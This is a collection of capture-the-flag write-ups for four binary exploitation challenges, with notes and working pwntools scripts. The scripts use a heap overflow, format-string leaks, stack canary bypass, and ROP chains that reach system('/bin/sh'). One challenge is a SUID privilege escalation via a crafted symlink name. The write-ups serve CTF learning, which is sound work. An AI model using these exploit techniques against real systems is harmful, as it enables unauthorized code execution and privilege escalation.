Big Brain Time

Notes:

  • We know address of qi_de_base
    • 0x8202010
  • There is format string vuln
    • printf(user->display, user->name, user->sex);
  • user data is written in heap
  • no aslr and no pie
  • Have heap overflow on user->name
    typedef struct moron
    {
        int qi;
        char sex;
        char name[STR_LEN];
        display[STR_LEN];
    }person

This is the user->qi person *user = new_p();

Steps:

  1. Use heap overflow on user->name to write into user->display
    • user->display is where the fmt string bug is located
  2. Find address of *user with format string
    • target is person *user = new_p(), goal is to override user->qi which is the first index of the struct.
  3. Send payload to write to address of user->qi (from step 3)
    after filling user->name buffer Final payload: Junk (to fill user->name) + payload to write to user->display + format string to write to user->qi with length of payload written to user->display

Heap Overflow

typedef struct moron
{
    int qi;
    char sex;
    char name[64];
    display[64];
}person
   
Person *user = new Moron;

// Heap overflow to override display
scanf("%s", user->name)

Format String

user_display = 'A' * val_length_for_qi + "offset_to_qi%n";
printf(user_display);

Goal

// To make user->qi > 128
if (user->qi > 128) {
	puts("WIN");
} else {
	puts("Vous êtes sûrs d'être en bonne santé ?");
}

Code

from pwn import *

io = process('./bigbrain')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']

def nom(payload, io):
    io.sendlineafter('Nom :', payload)

def sexe(payload, io):
    io.sendlineafter('Sexe [M/F] :', payload)

junk = b'A'*0x40
val_length_for_qi = b'B'*129
fmt_string_offset = b'%9$n,'

nom_payload = (
    junk
    + val_length_for_qi
    + fmt_string_offset
)

sexe_payload = 'M'

nom(nom_payload, io)
sexe(sexe_payload, io)

io.interactive()

# H2G2{w0w_5uch_vu1n3r4b1lit13s}

hello %s

Notes

  • format string in 0x13a2 printf(argv[0])

Writeup

  1. There is format string vulnerability on argv[0] which is filename.
  2. Challenge gives you ssh to remote machine that has challenge file with SUID to user with flag.
  3. Using format string, there was a pointer to heap where flag have been copied to on offset 10.
  4. Using %s, you can print out the string stored in the heap.

Solution

ln -s /challenge/challenge /tmp/%p,%p,%p,%p,%p,%p,%p,%p,%p,%s

Flag

H2G2{argv0_s0us_c0té}

bazooka

Binary

bazooka

Notes

  • scanf() BoF in vuln().
  • no-pie
  • Tried to find offset of /bin/sh in libc using libc leak and it seems like we are out of luck
  • Could use bss segment as code cave to write /bin/sh string
BoF
bss segment address 0x00601068
  1. Control PC using BOF
  2. Create a ROP chain to write “/bin/sh” in unused data section then jump back to vuln()
  3. Create a ROP chain to POP_RDI code cave(/bin/sh str) then jump to system() in the code

POC

from pwn import *
from Crypto.Util.number import long_to_bytes
from dataclasses import dataclass

class ROPGAD:
    POP_RDI = p64(0x00000000004008f3)
    RET = p64(0x0000000000400596)
    POP_RSI_POP_R15 = p64(0x4008f1)
    POP_RAX_CLUB_RDI = p64(0x400819)

def send_secret_msg(secret_msg: bytes):
    io.sendlineafter('message:', secret_msg)

def send_vuln_msg(vuln_msg: bytes):
    io.sendlineafter('Message: ', vuln_msg)

def send_junk_msg(junk_msg: bytes):
    io.sendlineafter('junk: ', junk_msg)


def create_scanf_rop(target_addr: int, ret_addr: int) -> bytes:
    SCANF = p64(0x40077e)
    rop_chain = (
        b''
        + ROPGAD.POP_RSI_POP_R15
        + p64(target_addr)
        + b'A' * 8
        + ROPGAD.RET
        + SCANF
        + p64(ret_addr)
    )

    return rop_chain



def control_pc(rop_chain: bytes):
    BUFFER_SIZE = 120
    bof = b'A'* BUFFER_SIZE

    secret = "#!@{try_hard3r}"
    send_secret_msg(secret)
    send_vuln_msg(bof + rop_chain)


def write_code_cave(code_cave_addr: int, msg: str, ret_addr: int):
    code_cave_ropchain = create_scanf_rop(code_cave_addr, ret_addr)
    control_pc(code_cave_ropchain)
    io.sendline(msg)

def create_system_sh(binsh_addr):
    SYSTEM = p64(0x4005c0)
    BINSH = p64(binsh_addr)
    rop_chain = (
        b''
        + ROPGAD.POP_RDI
        + BINSH
        + ROPGAD.RET
        + SYSTEM
    )

    return rop_chain



def main():
    VULN = 0x4006f7
    binsh_code_cave = 0x601068

    write_code_cave(binsh_code_cave, '/bin/sh', VULN)
    control_pc(create_system_sh(binsh_code_cave))

    io.interactive()

if __name__ == '__main__':
    io = process('pwn_bazooka_bazooka')

    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']

    

    main()

darkmagic

Binary

darkmagic

Notes

  • BoF in vuln()
  • There is stack canary
  • no-pie
  • for loop that read twice and printf twice
  • format string on printf
vuln()

Steps

  1. Use BoF to override the max_cntr that is 1 to 0xa so that you can read and printf multiple times
  2. Leak stack canary using format string vuln
  3. Use BoF to override stack canary with correct value and control pc
  4. Create ROP that jumps to getshell()

POC

from pwn import *

is_local = False

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
if is_local:
    pty = process.PTY
    io = process('pwn_darkmagic_darkmagic', stdin=pty, stdout=pty)
    # gdb.attach(io,'''
    #         b *0x4007eb
    # ''')
else:
    io = remote("35.234.65.24", 30750)



def send_magic(msg_1: bytes, msg_2: bytes):
    io.sendline(msg_1)
    io.sendline(msg_2)

# Offset 16
def leak_stack(depth: int = 0x10):
    send_magic(b'%p,' * depth,'')
    addr_list = io.recvline().split(b',')
    io.clean()

    for index, addr in enumerate(addr_list):
        log.info(f'offset: {index+1} @ {addr}')


io.recvuntil('Dark Magic is here!\n')

# Overwrite the max_cntr varible for forloop in vuln
send_magic(b'A'*100 + b'\x0a\x00\x00\x00', '')
sleep(1)
io.clean()
sleep(1)
send_magic(b'%35$p','')
canary = int(io.recvline()[:-1], 16)
# canary = int(io.recvline()[:-1], 16)
log.info(f'Canary: {hex(canary)}')
io.clean()
sleep(1)

JUNK_2_CANARY = b'A' * 0xd8
CANARY = p64(canary)
JUNK_2_RET = b'A' * 0x8
GETSHELL = p64(0x40073b)
payload_1 = (
    b''
    + JUNK_2_CANARY
    + CANARY
    + JUNK_2_RET
    + GETSHELL
)

sleep(1)
send_magic(payload_1, '')

io.interactive()